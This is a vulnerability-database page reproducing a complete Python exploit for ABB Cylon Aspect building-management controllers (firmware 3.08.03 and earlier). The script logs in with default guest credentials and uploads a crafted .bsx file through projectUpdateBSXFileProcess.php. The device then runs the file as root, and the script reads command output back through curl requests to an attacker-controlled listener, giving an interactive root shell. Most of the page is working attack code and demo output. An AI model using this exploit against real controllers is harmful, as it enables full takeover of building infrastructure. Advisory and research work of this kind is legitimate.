Lucene search
K

๐Ÿ“„ ABB Cylon Aspect 3.08.03 projectUpdateBSXFileProcess.php Remote Guest2Root

๐Ÿ—“๏ธย 23 May 2025ย 00:00:00Reported byย LiquidWormTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 80ย Views

Authenticated remote code execution in ABB building management controller via crafted bsx upload enabling root access 3.08.03.

Code
#!/usr/bin/env python
    #
    #
    # ABB Cylon Aspect 3.08.03 (projectUpdateBSXFileProcess.php) Remote Guest2Root Exploit
    #
    #
    # Vendor: ABB Ltd.
    # Product web page: https://www.global.abb
    # Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
    #                   Firmware: <=3.08.03
    #
    # Summary: ASPECT is an award-winning scalable building energy management
    # and control solution designed to allow users seamless access to their
    # building data through standard building protocols including smart devices.
    #
    # Desc: The ABB BMS/BAS controller is vulnerable to code execution and sudo
    # misconfiguration flaws. An authenticated remote code execution vulnerability
    # in the firmware update mechanism allows an attacker with valid credentials to
    # escalate privileges and execute commands as root. The process involves uploading
    # a crafted .bsx file through projectUpdateBSXFileProcess.php, which is then moved
    # to htmlroot and executed by projectUpdateBSXExecute.php. This script leverages
    # sudo to run the uploaded bsx file, enabling the attacker to bypass input validation
    # checks and execute arbitrary code, leading to full system compromise and unauthorized
    # root access.
    #
    # ---------------------------------------------------------------------------------
    #
    # $ ./bsxroot.py 192.168.73.31 192.168.73.9 --creds guest:guest
    # [o] Exploit starting at 21.05.2025 12:33:47
    # [o] Using credentials: guest:*****
    # [o] Auth successfull.
    # [o] PHPSESSID: g02p9tnog4d2r1z4eha1e9e688
    # [o] Listening on 192.168.73.9:5555...
    # [o] Building name: ["Tower 3"]
    # [o] runtime.ver=v3.08.03
    # [+] -> [virtual] rootshell
    #
    # # id
    # uid=0(root) gid=0(root) groups=0(root)
    # # pwd
    # /home/MIX_CMIX/htmlroot
    # exit
    # [o] Removing callback file.
    # [!] Connection terminated.
    #
    # ---------------------------------------------------------------------------------
    #
    #
    # Tested on: GNU/Linux 3.15.10 (armv7l)
    #            GNU/Linux 3.10.0 (x86_64)
    #            GNU/Linux 2.6.32 (x86_64)
    #            Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
    #            Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
    #            PHP/7.3.11
    #            PHP/5.6.30
    #            PHP/5.4.16
    #            PHP/4.4.8
    #            PHP/5.3.3
    #            AspectFT Automation Application Server
    #            lighttpd/1.4.32
    #            lighttpd/1.4.18
    #            Apache/2.2.15 (CentOS)
    #            OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
    #            OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    #                             @zeroscience
    #
    #
    # Advisory ID: ZSL-2025-5947
    # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5947.php
    #
    #
    # 21.04.2024
    #
    #
    
    from colorama import init, Fore
    from urllib.parse import quote
    from time import sleep
    import threading
    import datetime
    import requests
    import socket
    import re
    import os
    import sys
    
    init()
    
    def safe(*trigger, ):
        return True
    
    def auth(target_ip, user, pwd):
        login_ep = f"http://{target_ip}/validate/login.php"
        payload = {
            'f_user' : user, # 'aamuser, guest'
            'f_pass' : pwd, # 'default, guest'
            'submit' : 'Login'
        }
        sess = requests.Session()
        r = sess.post(login_ep, data=payload)
        if r.status_code == 200 and 'PHPSESSID' in sess.cookies:
            print("[o] Auth successfull.")
            phpsessid = sess.cookies.get('PHPSESSID')
            print("[o] PHPSESSID:", phpsessid)
            return sess.cookies
        else:
            print("[!] Auth failed.")
            return None
    
    def kacuj(target_ip, listen_ip, cmd, token=None, cookies=None):
        agentwho = "NetRanger/84.19"
        payload = f"curl -A \"`{cmd}`\" {listen_ip}:5555"
        url = f"http://{target_ip}/projectUpdateBSXFileProcess.php"
    
        headers = {
            "Content-Type": "multipart/form-data; boundary=----zeroscience",
            "User-Agent": agentwho
        }
        data = (
            "------zeroscience\r\n"
            f"Content-Disposition: form-data; name=\"userfile\"; filename={AAM}\r\n"
            "Content-Type: application/octet-stream\r\n\r\n"
            f"{payload}\r\n"
            '------zeroscience--\r\n'
        )
        try:
            r = requests.post(url, headers=headers, data=data, cookies=cookies)
            if r.status_code == 200:
                url_execute = f"http://{target_ip}/projectUpdateBSXExecute.php?file={AAM}"
                r = requests.get(url_execute, cookies=cookies)
    
                return r.content
    
        except requests.exceptions.RequestException as e:
            print(f"[!] Error sending payload: {e}")
    
        return None
    
    def koj_slusha(listen_ip):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind(("0.0.0.0", 5555))
        s.listen(1)
        
        print(f"[o] Listening on {listen_ip}:5555...")
    
        while True:
            conn, addr = s.accept()
            try:
                data = conn.recv(9999)
                if not data:
                    print("[!] Connection closed by remote host.")
                    break
                dd = data.decode("utf-8", errors="ignore")
                uam = re.search(r"User-Agent:\s*(.*)\s*Host:", dd, re.DOTALL)
                if uam:
                    print(uam.group(1), end="")
                else:
                    print
                    #print(f"[o] Full response:\n{dd}")
            except Exception as e:
                print(f"[!] Error while receiving data: {e}")
            finally:
                conn.close()
    
    def main():
        if safe(True):
            print("\nSafety: \033[92mON\033[0m")
            exit(-17)
        else:
            next
    
        global AAM
        global start
        AAM = "firmware.bsx"
        
        start = datetime.datetime.now()
        start = start.strftime("%d.%m.%Y %H:%M:%S")
        title = "\033[96mABB Cylonยฎ ASPECTยฎ Supervisory Building Control v3.08.03\033[0m"
        subtl = "\033[95m\t\t-> Remote Root Exploit <-\033[0m"
        prj = f"""
                     P   R   O   J   E   C   T\033[90m
    
                            .|
                            | |
                            |'|            ._____
                    ___    |  |            |.   |' .---"|
            _    .-'   '-. |  |     .--'|  ||   | _|    |
         .-'|  _.|  |    ||   '-__  |   |  |    ||      |
         |' | |.    |    ||       | |   |  |    ||      |
     ____|  '-'     '    ""       '-'   '-.'    '`      |____
    โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘  
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ 
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ 
             โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–’โ–“โ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘
    \033[0m
     {title}
     {subtl}
        """   
        if len(sys.argv) < 4:
            print(prj)
            print("./bsxroot.py <targetIP> <listenIP> <PHPSESSID / --creds user:pass>")
            sys.exit(-0)
    
        target_ip = sys.argv[1]
        listen_ip = sys.argv[2]
        auth_arg = sys.argv[3]
    
        print("[o] Exploit starting at", start)
    
        if "--creds" in sys.argv:
            creds_index = sys.argv.index("--creds") + 1
            if creds_index >= len(sys.argv):
                print("[!] Error: Missing credentials after --creds.")
                sys.exit(-1)
    
            user_pass = sys.argv[creds_index]
            if ":" not in user_pass:
                print("[!] Error: Invalid credentials format. Expected format: user:pass.")
                sys.exit(-2)
    
            user, pwd = user_pass.split(":")
            print(f"[o] Using credentials: {user}:{'*' * len(pwd)}")
            cookies = auth(target_ip, user, pwd)
        else:
            token = auth_arg
            cookies = {"PHPSESSID": token}
        if not cookies:
            sys.exit(-3)
    
        nishka = threading.Thread(target=koj_slusha, args=(listen_ip,))
        nishka.daemon = True
        nishka.start()
    
        bacname = f"http://{target_ip}/getApplicationNamesJS.php"
        r = requests.get(bacname)
        if r.status_code == 200:
            try:
                r = r.content
                decor = r.decode("utf-8")
            except UnicodeDecodeError:
                decor = r.decode("utf-8", errors="ignore")
    
            odg = re.search(r"var instanceDirectory=(.*?);", decor)
            if odg:
                cmd = "echo -ne \"[o] \" ; cat runtime/release.properties | grep -w 'runtime.ver'"
                print("[o] Building name:", odg.group(1))
                kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies)
                print("\033[92m[+] -> [virtual] rootshell\033[0m\n")
            else:
                print("[o] Unknown building name.")
        sleep(0.01)
    
        while True:
            sleep(0.01)
            cmd = input("# ")
            if cmd.lower() in ["exit", "quit"]:
                print("[o] Removing callback file.")
                kacuj(target_ip, listen_ip, "rm /tmp/" + AAM, token=None, cookies=cookies)
                print("\033[91m[!] Connection terminated.\033[0m")
                os._exit(-17)
    
            kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies)
    
        nishka.join()
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation